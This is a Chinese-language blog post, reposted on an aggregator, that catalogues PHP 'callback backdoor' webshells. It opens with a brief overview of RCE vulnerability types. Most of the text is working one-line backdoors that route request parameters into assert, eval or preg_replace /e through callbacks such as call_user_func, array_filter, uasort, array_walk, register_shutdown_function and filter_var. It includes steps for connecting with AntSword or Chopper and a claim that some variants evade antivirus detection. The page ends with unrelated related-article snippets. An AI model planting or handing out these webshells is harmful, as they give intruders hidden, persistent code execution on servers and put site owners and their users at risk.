RCE——回调后门

news2025/3/30 16:11:29

目录

rce简述

rce漏洞

rce漏洞产生分类

rce漏洞级别

创造tips的秘籍——回调后门

call_user_func

解析

如何执行后门

call_user_func_array

array_filter、array_map

解析

如何执行后门

php5.4.8+中的assert——二参数的回调函数

uasort

uksort

array_reduce()

array_udiff

三参数回调函数

无回显回调后门

单参数后门

其他参数型回调后门


rce简述

rce漏洞

rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

rce漏洞产生分类

命令执行漏洞:直接调用操作系统(Windows或Linux)命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。

代码执行漏洞:靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()、shell_exec()和passshru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。

eval() 函数eval() 是 PHP 中的一个内置函数,它接受一个字符串作为参数,并将该字符串作为 PHP 代码执行

assert() 函数assert() 是 PHP 中的一个内置函数,用于检查给定的表达式是否为 true,如果传递的表达式是字符串,assert() 会将其作为 PHP 代码执行

系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。

调用的第三方组件存在代码执行漏洞:例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。

rce漏洞级别

RCE漏洞通常被认为是高危漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。一旦出现RCE漏洞,攻击者可以获取服务器的命令执行权限,对服务器安全造成极大的影响。

创造tips的秘籍——回调后门

call_user_func

解析

assert在php7.4后的版本被废弃

call_user_func — 把第一个参数作为回调函数调用

$_REQUEST — HTTP Request 变量——默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组

$_REQUEST['pass'] 的值作为参数传递给 assert() 函数

 <?php call_user_func('assert',$_REQUEST['pass']);

等同于

 <?php assert($_REQUEST)
如何执行后门

$_REQUEST['pass'] 的值为 phpinfo();

代码变为:call_user_func('assert', 'phpinfo();')

GET连接 传递GET参数

是否可以给pass传递一个$_POST[123]

AntSword(蚁剑)连接密码处填写123

失败

POST连接 传递POST参数

pass

$_POST[123]

失败

POST连接 传递POST参数

测试添加eval

pass

eval($_POST[123])

成功

GET连接 传递GET参数

测试添加eval

?pass=eval($_POST[123])

call_user_func_array

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

 call_user_func_array('assert', array($_REQUEST['pass']));

array_filter、array_map

解析

array_filter — 使用回调函数过滤数组的元素

接受两个参数:第一个参数是要过滤的数组,第二个参数是回调函数

 <?php
 $e = $_REQUEST['e'];
 $arr = array($_POST['pass'],);
 array_filter($arr, base64_decode($e));

GET传参或POST传参——传递的回调函数选择assert,代码对传递的$e进行解码,传递的时候需要传递assert进行base64编码后的值

POST传参——传递一个参数pass,可以选择phpinfo();测试

array_map — 为数组的每个元素应用回调函数

接受两个参数:第一个参数是回调函数,第二个参数是要处理的数组

 <?php
 $e = $_REQUEST['e'];
 $arr = array($_POST['pass'],);
 array_map(base64_decode($e), $arr);
如何执行后门

php5.4.8+中的assert——二参数的回调函数

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

uasort

uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联

接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数

 <?php
 $e = $_REQUEST['e'];
 $arr = array('test', $_REQUEST['pass']);
 uasort($arr, base64_decode($e));

uksort

uksort() 是 PHP 的一个函数,用于使用用户定义的比较函数对数组的键进行排序。

接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数。

 <?php
 $e = $_REQUEST['e'];
 $arr = array('test' => 1, $_REQUEST['pass'] => 2);
 uksort($arr, $e);

ArrayObject 是 PHP 的一个类,用于将数组封装为对象

uasort() 是 PHP 的一个函数,用于使用用户定义的比较函数对数组进行排序。

接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数。

代码 $arr->uasort('assert'); 会将 assert 作为比较函数传递给 uasort()

uasort() 会将数组中的元素作为参数传递给 assert()

 <?php
 $arr = new ArrayObject(array('test', $_REQUEST['pass']));
 $arr->uasort('assert');
 <?php
 $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
 $arr->uksort('assert');
array_reduce()

array_reduce() 是 PHP 的一个函数,用于将数组中的元素通过回调函数依次处理,最终返回一个值。

它接受三个参数:

第一个参数是要处理的数组。

第二个参数是回调函数。

第三个参数是初始值(可选)

 <?php
 $e = $_REQUEST['e'];
 $arr = array(1);
 array_reduce($arr, $e, $_POST['pass']);
array_udiff

array_udiff() 是 PHP 的一个函数,用于计算数组的差集,并使用用户定义的比较函数进行比较。

它接受三个参数:

第一个参数是要比较的数组。

第二个参数是要比较的另一个数组。

第三个参数是用户定义的比较函数。

 <?php
 $e = $_REQUEST['e'];
 $arr = array($_POST['pass']);
 $arr2 = array(1);
 array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:

  1. 一个参数:assert

  2. 两个参数:assert (php5.4.8+)

  3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。构造array_walk + preg_replace的回调后门:

array_walk() 是 PHP 的一个函数,用于对数组中的每个元素应用用户自定义的函数。

它接受三个参数:

  • 第一个参数是要处理的数组。

  • 第二个参数是用户自定义的函数。

  • 第三个参数是传递给用户自定义函数的额外数据(可选)。

preg_replace - 执行一个正则表达式的搜索和替换

 <?php
 $e = $_REQUEST['e'];
 $arr = array($_POST['pass'] => '|.*|e',);
 array_walk($arr, $e, '');

无回显回调后门

回调后门里,有个特殊的例子:ob_start。

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

 <?php
 ob_start('assert');
 echo $_REQUEST['pass'];
 ob_end_flush();

可以写入

单参数后门

php全版本支持,不报不杀稳定执行

 <?php
 $e = $_REQUEST['e'];
 register_shutdown_function($e, $_REQUEST['pass']);
 <?php
 $e = $_REQUEST['e'];
 declare(ticks=1);
 register_tick_function ($e, $_REQUEST['pass']);
 <?php
 filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
 filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

其他参数型回调后门

如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串

去“构造”一个满足条件的回调函数

怎么构造?使用create_function:

 <?php
 preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

接受一个数组,并将数组的第一个元素$arr[0]传入assert。

类似

 <?php
 mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2323173.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Unity Shader 学习17:合批渲染

一、基础概念 合批主要是针对这三个概念进行优化减少&#xff1a; ① SetPass Call&#xff1a;一次渲染状态切换&#xff0c;也就是每次切换 材质/Pass 时&#xff0c;就会触发一次SetPass Call ② Draw Call&#xff1a;cpu 调用一次 gpu 绘制函数 ③ Batch&#xff1a;表示…

带你从入门到精通——自然语言处理(十. BERT)

建议先阅读我之前的博客&#xff0c;掌握一定的自然语言处理前置知识后再阅读本文&#xff0c;链接如下&#xff1a; 带你从入门到精通——自然语言处理&#xff08;一. 文本的基本预处理方法和张量表示&#xff09;-CSDN博客 带你从入门到精通——自然语言处理&#xff08;二…

【计算机网络】DHCP工作原理

DHCP(动态主机配置协议) Dynamic Host Configuration Protocol 基于UDP协议传输 DHCP分配IP地址的过程 &#xff08;1&#xff09;DHCP DISCOVER客户机请求 IP 地址&#xff1a; 当一个 DHCP 客户机启动时&#xff0c;客户机还没有 IP 地址&#xff0c;所以客户机要通过 DHC…

Linux网站搭建(新手必看)

1.宝塔Linux面板的功能 宝塔面板是一款服务器管理软件&#xff0c;可以帮助用户建立网站&#xff0c;一键配置服务器环境&#xff0c;使得用户通过web界面就可以轻松的管理安装所用的服务器软件。 2. 宝塔Linux面板的安装 宝塔官网地址&#xff1a;宝塔面板 - 简单好用的Linu…

【C++初阶】---类和对象(上)

1.类的定义 1.1类的定义格式 • class为定义类的关键字&#xff0c;Data为类的名字&#xff0c;{}中为类的主体&#xff0c;注意类定义结束时后⾯分号不能省略。类体中内容称为类的成员&#xff1a;类中的变量称为类的属性或成员变量;类中的函数称为类的⽅法或者成员函数。 •…

2-1 基本放大电路

放大的概念 mV →V mA→A 特征&#xff1a;放大功率&#xff08;电压与电流&#xff09;。 本质&#xff1a;能量在控制下的转换。&#xff08;外接供电电源&#xff09; 必要条件&#xff1a;有源元件&#xff08;能量控制原件&#xff09; 前提&#xff1a;不失真 测试的…

什么是矩阵账号

矩阵账号是指在同一平台或多个平台上&#xff0c;围绕同一品牌或个人&#xff0c;创建的多个相互关联、协同工作的账号组合。这些账号虽然独立&#xff0c;但在内容定位和运营策略上有所区分&#xff0c;同时又相互引流&#xff0c;共同形成一个网络结构&#xff0c;类似于矩阵…

【Linux】Ubuntu 24.04 LTS 安装 OpenJDK 8

目录 通过 apt-get 直接安装 JDK 1. 更新 apt 软件源 2. 检查 JDK 是否已安装 3. 安装OpenJDK 4. 检查 JDK 是否成功安装 5. 设置 JAVA_HOME 环境变量 找到需要设置的 Java 路径 使用文本编辑器打开/etc/environment文件 添加 Java 安装路径 应用更改和验证配置 通过…

xcode开发swiftui项目的时候,怎么调试ui占位和ui大小

有时候元素之间可能存在很大的空间间隔&#xff0c;但是又不知道怎么产生的&#xff0c;无奈我又看不懂xcode里面的Debug View Hierarchy功能&#xff0c;只能使用笨方法&#xff0c;就是给不同的块元素设置上不同的背景色&#xff0c;然后看一下间隙区域到底是哪个背景色填充的…

信息安全的数学本质与工程实践

信息安全的本质是数学理论与工程实践的高度统一。在这个数字空间与物理世界深度融合的时代&#xff0c;信息安全已从简单的数据保护演变为维系数字社会正常运转的基础设施。对于计算机专业学习者而言&#xff0c;理解信息安全需要超越工具化认知&#xff0c;深入其数学内核与系…

Vue3 项目通过 docxtemplater 插件动态渲染 .docx 文档(带图片)预览,并导出

Vue3 项目通过 docxtemplater 插件动态渲染 .docx 文档&#xff08;带图片&#xff09;预览&#xff0c;并导出 预览安装插件示例代码项目目录结构截图实际效果截图 动态渲染 .docx 文档&#xff08;带图片&#xff09;&#xff0c;预览、导出安装插件docx 模板文件内容完整代码…

ollama迁移已下载的单个模型到服务器

ollama迁移已下载的单个模型到服务器 场景 ollama是面向用户级的&#xff0c;部署和运行都很简单&#xff0c;是否高效就另说了。但最起码&#xff0c;他能充分利用用户的硬件设备&#xff0c;在GPU不足也能调用cpu和内存去加持。 ollama运行的模型基本是量化版本的&#xf…

Photoshop 2025安装教程包含下载安装包,2025最新版图文安装教程

文章目录 前言一、Photoshop 2025下载二、Photoshop 2025安装教程1. 安装包解压2. 找到安装程序3. 以管理员身份运行4. 安装选项设置5. 选择安装路径6. 开始安装7. 安装完成8. 启动软件9. 软件主界面 前言 无论你是专业设计师&#xff0c;还是刚接触图像处理的新手&#xff0c…

【Python · PyTorch】时域卷积网络 TCN

1. 概念 1.1 定义 TCN 是时域卷积网络&#xff08;Temporal Convolutional Network&#xff09;的简称。TCN是于2018年 Shaojie Bai 等人提出的一个处理时序数据的卷积模型。 TCN结合了CNN卷积并行性计算和RNN长期依赖的优势&#xff0c;CNN可在多个通道同时处理卷积核运算&…

Mysql update更新数据执行流程

update 的执行流程是以select查询为基础执行的&#xff01;&#xff01;你不明白select执行流程&#xff1f;没关系&#xff0c;这篇博客照样让你明白&#xff0c;update执行流程&#xff01; 存储引擎是什么&#xff1f; 如果把数据库比作一个大仓库&#xff0c;那么存储引擎…

WMS WCS系统架构

1.1立体仓库现场网络架构图 1.2立体仓库WMS系统与WCS系统架构 1.3系统技术选型 WEB端技术&#xff1a;node.js、vue 、element、jquery、html、js、css等 API端技术&#xff1a;spring boot 、msyql、redis、mybatis等 WCS技术&#xff1a;c#、winform、OPC、socket、S7等 …

23种设计模式-状态(State)设计模式

状态设计模式 &#x1f6a9;什么是状态设计模式&#xff1f;&#x1f6a9;状态设计模式的特点&#x1f6a9;状态设计模式的结构&#x1f6a9;状态设计模式的优缺点&#x1f6a9;状态设计模式的Java实现&#x1f6a9;代码总结&#x1f6a9;总结 &#x1f6a9;什么是状态设计模式…

kaggle上经典泰坦尼克项目数据分析探索

之前了解在kaggle上这个项目很火&#xff0c;最近想要加强一下python数据分析&#xff0c;所以在kaggle上找到这个项目进行学习探索&#xff0c;下面是将一些学习资料以及过程整理出来。 一、首先我们了解一下项目背景以及如何找到这个项目。 kaggle项目地址: https://www.k…

15 python 数据容器-字典

在 Python 的编程世界里&#xff0c;字典是一种超实用的数据类型&#xff0c;它就像打工人的工作资料夹&#xff0c;能把各种不同类型的信息有条理地存起来&#xff0c;还能快速找到你需要的内容。对于刚开始学习编程的小伙伴来说&#xff0c;掌握字典的用法&#xff0c;能让你…

Linux的一些常见指令

一、ls指令 语法&#xff1a; ls (选项) 功能&#xff1a; ls可以查看当前目录下的所有文件和目录。 常用选项&#xff1a; -a:列出目录下的所有文件&#xff0c;包括以点&#xff08;.&#xff09;开头的隐含文件 。-d:将目录像文件一样显示&#xff0c;不显示其下的文件。…